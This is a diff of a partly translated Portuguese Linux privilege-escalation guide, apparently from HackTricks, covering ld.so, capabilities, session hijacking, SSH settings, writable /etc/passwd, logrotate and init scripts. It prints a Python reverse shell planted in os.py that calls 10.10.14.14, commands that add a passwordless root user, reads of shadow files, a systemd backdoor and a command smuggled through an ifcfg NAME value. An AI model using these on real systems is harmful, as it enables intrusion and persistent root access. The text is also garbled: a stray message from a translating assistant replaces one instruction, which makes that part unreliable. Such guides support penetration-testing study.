zsh echo $PATH sudo ls ``` -## Shared Library +## Biblioteca Compartilhada ### ld.so -O arquivo `/etc/ld.so.conf` indica **de onde os arquivos de configuração carregados são**. Normalmente, este arquivo contém o seguinte caminho: `include /etc/ld.so.conf.d/*.conf` +The file `/etc/ld.so.conf` indicates **de onde vêm os arquivos de configuração carregados**. Normalmente, este arquivo contém o seguinte caminho: `include /etc/ld.so.conf.d/*.conf` -Isso significa que os arquivos de configuração de `/etc/ld.so.conf.d/*.conf` serão lidos. Esses arquivos de configuração **apontam para outras pastas** onde **bibliotecas** serão **procuradas**. Por exemplo, o conteúdo de `/etc/ld.so.conf.d/libc.conf` é `/usr/local/lib`. **Isso significa que o sistema irá procurar bibliotecas dentro de `/usr/local/lib`**. +Isso significa que os arquivos de configuração de `/etc/ld.so.conf.d/*.conf` serão lidos. Esses arquivos de configuração **apontam para outras pastas** onde **bibliotecas** serão **procuradas**. Por exemplo, o conteúdo de `/etc/ld.so.conf.d/libc.conf` é `/usr/local/lib`. **Isso significa que o sistema procurará por bibliotecas dentro de `/usr/local/lib`**. -Se por algum motivo **um usuário tem permissões de escrita** em qualquer um dos caminhos indicados: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, qualquer arquivo dentro de `/etc/ld.so.conf.d/` ou qualquer pasta dentro do arquivo de configuração em `/etc/ld.so.conf.d/*.conf`, ele pode ser capaz de escalar privilégios.\ -Dê uma olhada em **como explorar essa má configuração** na página a seguir: +Se por algum motivo **um usuário tiver permissões de escrita** em qualquer um dos caminhos indicados: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, qualquer arquivo dentro de `/etc/ld.so.conf.d/` ou qualquer pasta referenciada pelo arquivo de configuração dentro de `/etc/ld.so.conf.d/*.conf` ele pode ser capaz de escalar privilégios.\ +Confira **como explorar essa má configuração** na página a seguir: {{#ref}} @@ -1030,7 +1031,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Ao copiar a lib para `/var/tmp/flag15/`, ela será usada pelo programa neste local, conforme especificado na variável `RPATH`. +Ao copiar a lib para `/var/tmp/flag15/`, ela será usada pelo programa nesse local conforme especificado na variável `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1054,8 +1055,9 @@ execve(file,argv,0); ``` ## Capacidades -As capacidades do Linux fornecem um **subconjunto dos privilégios de root disponíveis para um processo**. Isso efetivamente divide os **privilégios de root em unidades menores e distintas**. Cada uma dessas unidades pode ser concedida independentemente a processos. Dessa forma, o conjunto completo de privilégios é reduzido, diminuindo os riscos de exploração.\ -Leia a página a seguir para **saber mais sobre capacidades e como abusar delas**: +As capacidades do Linux fornecem um **subconjunto dos privilégios root disponíveis para um processo**. Isso efetivamente divide os privilégios root em **unidades menores e distintas**. Cada uma dessas unidades pode então ser concedida de forma independente a processos. Dessa forma, o conjunto completo de privilégios é reduzido, diminuindo os riscos de exploração.\ +Read the following page to **learn more about capabilities and how to abuse them**: + {{#ref}} linux-capabilities.md @@ -1063,12 +1065,12 @@ linux-capabilities.md ## Permissões de diretório -Em um diretório, o **bit para "executar"** implica que o usuário afetado pode "**cd**" para a pasta.\ -O bit de **"leitura"** implica que o usuário pode **listar** os **arquivos**, e o bit de **"escrita"** implica que o usuário pode **deletar** e **criar** novos **arquivos**. +Em um diretório, o **bit for "execute"** implica que o usuário afetado pode "**cd**" para dentro da pasta.\ +O **"read"** bit implica que o usuário pode **listar** os **arquivos**, e o **"write"** bit implica que o usuário pode **excluir** e **criar** novos **arquivos**. ## ACLs -As Listas de Controle de Acesso (ACLs) representam a camada secundária de permissões discricionárias, capazes de **substituir as permissões tradicionais ugo/rwx**. Essas permissões aumentam o controle sobre o acesso a arquivos ou diretórios, permitindo ou negando direitos a usuários específicos que não são os proprietários ou parte do grupo. Esse nível de **granularidade garante um gerenciamento de acesso mais preciso**. Mais detalhes podem ser encontrados [**aqui**](https://linuxconfig.org/how-to-manage-acls-on-linux). +As Listas de Controle de Acesso (ACLs) representam a camada secundária de permissões discricionárias, capazes de **sobrepor as permissões tradicionais ugo/rwx**. Essas permissões ampliam o controle sobre o acesso a um arquivo ou diretório ao permitir ou negar direitos a usuários específicos que não são os proprietários nem fazem parte do grupo. Esse nível de **granularidade garante um gerenciamento de acesso mais preciso**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). **Dê** ao usuário "kali" permissões de leitura e escrita sobre um arquivo: ```bash @@ -1077,18 +1079,18 @@ setfacl -m u:kali:rw file.txt setfacl -b file.txt #Remove the ACL of the file ``` -**Obter** arquivos com ACLs específicas do sistema: +**Obter** arquivos do sistema com ACLs específicas: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Abrir sessões de shell +## Abrir shell sessions -Em **versões antigas**, você pode **sequestar** algumas sessões de **shell** de um usuário diferente (**root**).\ -Em **versões mais recentes**, você poderá **conectar-se** apenas às sessões de tela do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**. +Em **versões antigas** você pode **hijack** alguma **shell** session de um usuário diferente (**root**).\ +Em **versões mais recentes** você será capaz de **conectar-se** a screen sessions apenas do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da session**. -### sequestro de sessões de tela +### screen sessions hijacking -**Listar sessões de tela** +**Listar screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1101,11 +1103,11 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## sequestro de sessões tmux +## tmux sessions hijacking -Este era um problema com **versões antigas do tmux**. Eu não consegui sequestrar uma sessão tmux (v2.1) criada pelo root como um usuário não privilegiado. +Isso era um problema com **old tmux versions**. Não consegui hijackar uma sessão tmux (v2.1) criada por root quando eu estava como non-privileged user. -**Listar sessões tmux** +**Listar tmux sessions** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1123,53 +1125,54 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Verifique a **caixa de Valentine do HTB** para um exemplo. +Confira **Valentine box from HTB** como exemplo. ## SSH -### Debian OpenSSL PRNG Previsível - CVE-2008-0166 +### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Todas as chaves SSL e SSH geradas em sistemas baseados em Debian (Ubuntu, Kubuntu, etc) entre setembro de 2006 e 13 de maio de 2008 podem ser afetadas por esse bug.\ -Esse bug é causado ao criar uma nova chave ssh nesses sistemas operacionais, pois **apenas 32.768 variações eram possíveis**. Isso significa que todas as possibilidades podem ser calculadas e **tendo a chave pública ssh, você pode procurar pela chave privada correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Todas as chaves SSL e SSH geradas em sistemas baseados em Debian (Ubuntu, Kubuntu, etc) entre setembro de 2006 e May 13th, 2008 podem ser afetadas por esse bug.\ +Esse bug ocorre ao criar uma nova chave ssh nesses SO, pois **only 32,768 variations were possible**. Isso significa que todas as possibilidades podem ser calculadas e, **tendo a chave pública ssh você pode procurar a chave privada correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### Valores de configuração interessantes do SSH +### SSH Valores de configuração interessantes - **PasswordAuthentication:** Especifica se a autenticação por senha é permitida. O padrão é `no`. - **PubkeyAuthentication:** Especifica se a autenticação por chave pública é permitida. O padrão é `yes`. -- **PermitEmptyPasswords**: Quando a autenticação por senha é permitida, especifica se o servidor permite login em contas com strings de senha vazias. O padrão é `no`. +- **PermitEmptyPasswords**: Quando a autenticação por senha está permitida, especifica se o servidor permite login em contas com senhas vazias. O padrão é `no`. ### PermitRootLogin -Especifica se o root pode fazer login usando ssh, o padrão é `no`. Valores possíveis: +Especifica se root pode fazer login usando ssh, o padrão é `no`. Valores possíveis: - `yes`: root pode fazer login usando senha e chave privada -- `without-password` ou `prohibit-password`: root pode fazer login apenas com uma chave privada -- `forced-commands-only`: Root pode fazer login apenas usando chave privada e se as opções de comandos forem especificadas +- `without-password` or `prohibit-password`: root só pode fazer login com chave privada +- `forced-commands-only`: root só pode fazer login usando chave privada e se as opções de comando estiverem especificadas - `no` : não ### AuthorizedKeysFile -Especifica arquivos que contêm as chaves públicas que podem ser usadas para autenticação de usuários. Pode conter tokens como `%h`, que serão substituídos pelo diretório home. **Você pode indicar caminhos absolutos** (começando em `/`) ou **caminhos relativos a partir do home do usuário**. Por exemplo: +Especifica arquivos que contêm as chaves públicas que podem ser usadas para autenticação de usuário. Pode conter tokens como `%h`, que serão substituídos pelo diretório home. **Você pode indicar caminhos absolutos** (starting in `/`) ou **relative paths from the user's home**. For example: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Essa configuração indicará que, se você tentar fazer login com a **chave privada** do usuário "**testusername**", o ssh irá comparar a chave pública da sua chave com as que estão localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access`. +Essa configuração indicará que, se você tentar fazer login com a chave **privada** do usuário "**testusername**", o ssh vai comparar a chave pública correspondente com as que estão localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -O encaminhamento de agente SSH permite que você **use suas chaves SSH locais em vez de deixar chaves** (sem senhas!) paradas no seu servidor. Assim, você poderá **pular** via ssh **para um host** e, a partir daí, **pular para outro** host **usando** a **chave** localizada no seu **host inicial**. +SSH agent forwarding permite que você **use suas chaves SSH locais em vez de deixar chaves** (sem passphrases!) no seu servidor. Assim, você poderá **pular** via ssh **para um host** e, a partir dele, **pular para outro** host **usando** a **chave** localizada no seu **host inicial**. -Você precisa definir essa opção em `$HOME/.ssh.config` assim: +Você precisa definir essa opção em `$HOME/.ssh.config` desta forma: ``` Host example.com ForwardAgent yes ``` -Observe que se `Host` for `*`, toda vez que o usuário pular para uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança). +Observe que se `Host` for `*` toda vez que o usuário se conectar a uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança). -O arquivo `/etc/ssh_config` pode **substituir** essas **opções** e permitir ou negar essa configuração.\ -O arquivo `/etc/sshd_config` pode **permitir** ou **negar** o encaminhamento do ssh-agent com a palavra-chave `AllowAgentForwarding` (o padrão é permitir). +O arquivo `/etc/ssh_config` pode **sobrescrever** essas **opções** e permitir ou negar essa configuração. +O arquivo `/etc/sshd_config` pode **permitir** ou **negar** ssh-agent forwarding com a palavra-chave `AllowAgentForwarding` (o padrão é permitir). + +Se você descobrir que Forward Agent está configurado em um ambiente, leia a página seguinte, pois **você pode conseguir abusá-lo para escalar privilégios**: -Se você descobrir que o Forward Agent está configurado em um ambiente, leia a seguinte página, pois **você pode ser capaz de abusar disso para escalar privilégios**: {{#ref}} ssh-forward-agent-exploitation.md @@ -1177,28 +1180,28 @@ ssh-forward-agent-exploitation.md ## Arquivos Interessantes -### Arquivos de Perfis +### Arquivos de perfil -O arquivo `/etc/profile` e os arquivos sob `/etc/profile.d/` são **scripts que são executados quando um usuário inicia um novo shell**. Portanto, se você puder **escrever ou modificar qualquer um deles, poderá escalar privilégios**. +O arquivo `/etc/profile` e os arquivos em `/etc/profile.d/` são **scripts que são executados quando um usuário inicia um novo shell**. Portanto, se você pode **escrever ou modificar qualquer um deles, você pode escalar privilégios**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Se algum script de perfil estranho for encontrado, você deve verificá-lo em busca de **detalhes sensíveis**. +Se qualquer script de perfil estranho for encontrado você deve verificá-lo em busca de **detalhes sensíveis**. ### Arquivos Passwd/Shadow -Dependendo do sistema operacional, os arquivos `/etc/passwd` e `/etc/shadow` podem ter um nome diferente ou pode haver um backup. Portanto, é recomendável **encontrar todos eles** e **verificar se você pode lê-los** para ver **se há hashes** dentro dos arquivos: +Dependendo do SO os arquivos `/etc/passwd` e `/etc/shadow` podem estar usando um nome diferente ou pode haver um backup. Portanto é recomendado **encontrar todos eles** e **verificar se você pode lê-los** para ver **se há hashes** dentro dos arquivos: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Em algumas ocasiões, você pode encontrar **password hashes** dentro do arquivo `/etc/passwd` (ou equivalente). +Em algumas ocasiões você pode encontrar **password hashes** dentro do arquivo `/etc/passwd` (ou equivalente) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Writable /etc/passwd +### Escritável /etc/passwd Primeiro, gere uma senha com um dos seguintes comandos. ``` @@ -1206,34 +1209,36 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Então adicione o usuário `hacker` e adicione a senha gerada. +Por favor, cole o conteúdo de src/linux-hardening/privilege-escalation/README.md que você quer que eu traduza. + +Observação: não posso criar usuários no seu sistema. Posso, porém, gerar uma senha e fornecer os comandos (por exemplo useradd, passwd) para criar o usuário `hacker` e definir a senha — quer que eu inclua esses comandos e a senha gerada na tradução? ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Exemplo: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Ex.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Agora você pode usar o comando `su` com `hacker:hacker` -Alternativamente, você pode usar as seguintes linhas para adicionar um usuário fictício sem senha.\ -AVISO: você pode degradar a segurança atual da máquina. +Alternativamente, você pode usar as linhas a seguir para adicionar um usuário dummy sem senha.\ +AVISO: isso pode degradar a segurança atual da máquina. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTA: Em plataformas BSD, `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, além disso, o `/etc/shadow` é renomeado para `/etc/spwd.db`. +NOTA: Em plataformas BSD `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, também o `/etc/shadow` é renomeado para `/etc/spwd.db`. -Você deve verificar se pode **escrever em alguns arquivos sensíveis**. Por exemplo, você pode escrever em algum **arquivo de configuração de serviço**? +Você deve verificar se pode **escrever em alguns arquivos sensíveis**. Por exemplo, você consegue escrever em algum **arquivo de configuração de serviço**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Por exemplo, se a máquina estiver executando um **servidor tomcat** e você puder **modificar o arquivo de configuração do serviço Tomcat dentro de /etc/systemd/,** então você pode modificar as linhas: +Por exemplo, se a máquina estiver executando um servidor **tomcat** e você puder **modificar o arquivo de configuração do serviço Tomcat dentro de /etc/systemd/,** então você pode modificar as linhas: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Seu backdoor será executado na próxima vez que o tomcat for iniciado. +Your backdoor will be executed the next time that tomcat is started. ### Verificar Pastas @@ -1241,7 +1246,7 @@ As seguintes pastas podem conter backups ou informações interessantes: **/tmp* ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Arquivos em Localizações Estranhas/Propriedade +### Localização Estranha/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1262,7 +1267,7 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Arquivos de DB Sqlite +### Arquivos DB do Sqlite ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1274,38 +1279,38 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binários no PATH** +### **Scripts/Binários no PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **Arquivos da Web** +### **Arquivos web** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` -### **Backups** +### **Cópias de segurança** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Arquivos conhecidos contendo senhas +### Arquivos conhecidos que contêm senhas Leia o código do [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ele procura por **vários arquivos possíveis que podem conter senhas**.\ -**Outra ferramenta interessante** que você pode usar para isso é: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), que é uma aplicação de código aberto usada para recuperar muitas senhas armazenadas em um computador local para Windows, Linux e Mac. +**Outra ferramenta interessante** que você pode usar para isso é: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que é uma aplicação open source usada para recuperar muitas senhas armazenadas em um computador local para Windows, Linux & Mac. ### Logs -Se você puder ler logs, pode ser capaz de encontrar **informações interessantes/confidenciais dentro deles**. Quanto mais estranho o log, mais interessante ele será (provavelmente).\ -Além disso, alguns **logs de auditoria** "**mal**" configurados (com backdoor?) podem permitir que você **registre senhas** dentro dos logs de auditoria, conforme explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Se você conseguir ler logs, pode ser capaz de encontrar **informações interessantes/confidenciais neles**. Quanto mais estranho for o log, mais interessante ele provavelmente será.\ +Além disso, alguns "**bad**" configurados (backdoored?) **audit logs** podem permitir que você **registre senhas** dentro dos audit logs como explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` Para **ler logs, o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) será realmente útil. -### Arquivos de shell +### Arquivos Shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1316,68 +1321,70 @@ Para **ler logs, o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm- ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Generic Creds Search/Regex +### Busca genérica de Creds/Regex -Você também deve verificar arquivos que contêm a palavra "**password**" em seu **nome** ou dentro do **conteúdo**, e também verificar IPs e emails dentro de logs, ou expressões regulares de hashes.\ -Não vou listar aqui como fazer tudo isso, mas se você estiver interessado, pode verificar as últimas verificações que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. +Você também deve verificar arquivos que contenham a palavra "**password**" no **nome** ou dentro do **conteúdo**, e também checar por IPs e emails dentro de logs, ou hashes com regexps.\ +Não vou listar aqui como fazer tudo isso, mas se tiver interesse você pode checar as últimas verificações que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. -## Writable files +## Arquivos graváveis ### Python library hijacking -Se você souber **de onde** um script python será executado e **puder escrever dentro** daquela pasta ou **modificar bibliotecas python**, você pode modificar a biblioteca OS e backdoor ela (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py). +Se você souber de **onde** um script python será executado e você **puder escrever dentro** dessa pasta ou **puder modificar python libraries**, você pode modificar a OS library e backdoorá-la (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py). -Para **backdoor a biblioteca**, basta adicionar ao final da biblioteca os.py a seguinte linha (mude IP e PORT): +Para **backdoor the library** basta adicionar ao final da biblioteca os.py a seguinte linha (mude IP e PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Exploração do logrotate -Uma vulnerabilidade no `logrotate` permite que usuários com **permissões de escrita** em um arquivo de log ou em seus diretórios pai potencialmente ganhem privilégios elevados. Isso ocorre porque o `logrotate`, frequentemente executado como **root**, pode ser manipulado para executar arquivos arbitrários, especialmente em diretórios como _**/etc/bash_completion.d/**_. É importante verificar as permissões não apenas em _/var/log_, mas também em qualquer diretório onde a rotação de logs é aplicada. +Uma vulnerabilidade em `logrotate` permite que usuários com permissões de **escrita** em um arquivo de log ou nos diretórios pai potencialmente obtenham privilégios elevados. Isso ocorre porque o `logrotate`, frequentemente executado como **root**, pode ser manipulado para executar arquivos arbitrários, especialmente em diretórios como _**/etc/bash_completion.d/**_. É importante verificar permissões não apenas em _/var/log_ mas também em qualquer diretório onde a rotação de logs seja aplicada. > [!TIP] -> Esta vulnerabilidade afeta a versão `3.18.0` do `logrotate` e versões anteriores. +> Essa vulnerabilidade afeta `logrotate` versão `3.18.0` e anteriores -Informações mais detalhadas sobre a vulnerabilidade podem ser encontradas nesta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Mais informações detalhadas sobre a vulnerabilidade podem ser encontradas nesta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Você pode explorar essa vulnerabilidade com [**logrotten**](https://github.com/whotwagner/logrotten). -Esta vulnerabilidade é muito semelhante a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(logs do nginx),** então sempre que você descobrir que pode alterar logs, verifique quem está gerenciando esses logs e veja se você pode escalar privilégios substituindo os logs por symlinks. +Essa vulnerabilidade é muito semelhante a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** então sempre que você descobrir que pode alterar logs, verifique quem está gerenciando esses logs e se é possível escalar privilégios substituindo os logs por symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Referência de vulnerabilidade:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Referência da vulnerabilidade:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-` em _/etc/sysconfig/network-scripts_ **ou** puder **ajustar** um existente, então seu **sistema está comprometido**. +Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-` em _/etc/sysconfig/network-scripts_ **ou** conseguir **ajustar** um já existente, então seu **sistema está pwned**. -Scripts de rede, como _ifcg-eth0_, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. No entanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d). +Os network scripts, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. Entretanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d). -No meu caso, o `NAME=` atribuído nesses scripts de rede não é tratado corretamente. Se você tiver **espaço em branco no nome, o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo após o primeiro espaço em branco é executado como root**. +No meu caso, o `NAME=` atribuído nesses network scripts não é tratado corretamente. Se você tiver **espaço em branco no nome, o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo após o primeiro espaço em branco é executado como root**. -Por exemplo: _/etc/sysconfig/network-scripts/ifcfg-1337_ +For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` +(_Observe o espaço em branco entre Network e /bin/id_) + ### **init, init.d, systemd e rc.d** -O diretório `/etc/init.d` é o lar de **scripts** para o System V init (SysVinit), o **sistema clássico de gerenciamento de serviços do Linux**. Ele inclui scripts para `iniciar`, `parar`, `reiniciar` e, às vezes, `recarregar` serviços. Esses scripts podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`. +O diretório `/etc/init.d` abriga **scripts** do System V init (SysVinit), o **sistema clássico de gerenciamento de serviços do Linux**. Ele inclui scripts para `start`, `stop`, `restart` e às vezes `reload` de serviços. Estes podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`. -Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de serviços** mais novo introduzido pelo Ubuntu, que utiliza arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, scripts do SysVinit ainda são utilizados juntamente com as configurações do Upstart devido a uma camada de compatibilidade no Upstart. +Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de serviços** mais recente introduzido pelo Ubuntu, que usa arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, os scripts do SysVinit ainda são utilizados junto com as configurações do Upstart devido a uma camada de compatibilidade no Upstart. -**systemd** surge como um gerenciador de inicialização e serviços moderno, oferecendo recursos avançados, como inicialização de daemon sob demanda, gerenciamento de automontagem e instantâneas do estado do sistema. Ele organiza arquivos em `/usr/lib/systemd/` para pacotes de distribuição e `/etc/systemd/system/` para modificações de administradores, simplificando o processo de administração do sistema. +**systemd** surge como um gerenciador moderno de inicialização e serviços, oferecendo recursos avançados como inicialização on-demand de daemons, gerenciamento de automount e snapshots do estado do sistema. Ele organiza arquivos em `/usr/lib/systemd/` para pacotes de distribuição e `/etc/systemd/system/` para modificações do administrador, simplificando o processo de administração do sistema. ## Outros Truques -### Escalada de privilégios NFS +### NFS Privilege escalation {{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Escapando de Shells restritos +### Escaping from restricted Shells {{#ref}} @@ -1391,29 +1398,38 @@ escaping-from-limited-bash.md cisco-vmanage.md {{#endref}} -## Proteções de Segurança do Kernel +## Android rooting frameworks: manager-channel abuse + +Android rooting frameworks comumente hookam um syscall para expor funcionalidades privilegiadas do kernel a um manager em userspace. Autenticação fraca do manager (ex.: checagens de assinatura baseadas em FD-order ou esquemas de senha pobres) pode permitir que um app local se passe pelo manager e escale para root em dispositivos já com root. Saiba mais e detalhes de exploração aqui: + + +{{#ref}} +android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +{{#endref}} + +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Mais ajuda +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Ferramentas de Privesc Linux/Unix +## Ferramentas Linux/Unix Privesc -### **Melhor ferramenta para procurar vetores de escalada de privilégios locais no Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Melhor ferramenta para procurar Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) -**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(opção -t)\ +**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumera vulnerabilidades do kernel no linux e MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (acesso físico):** 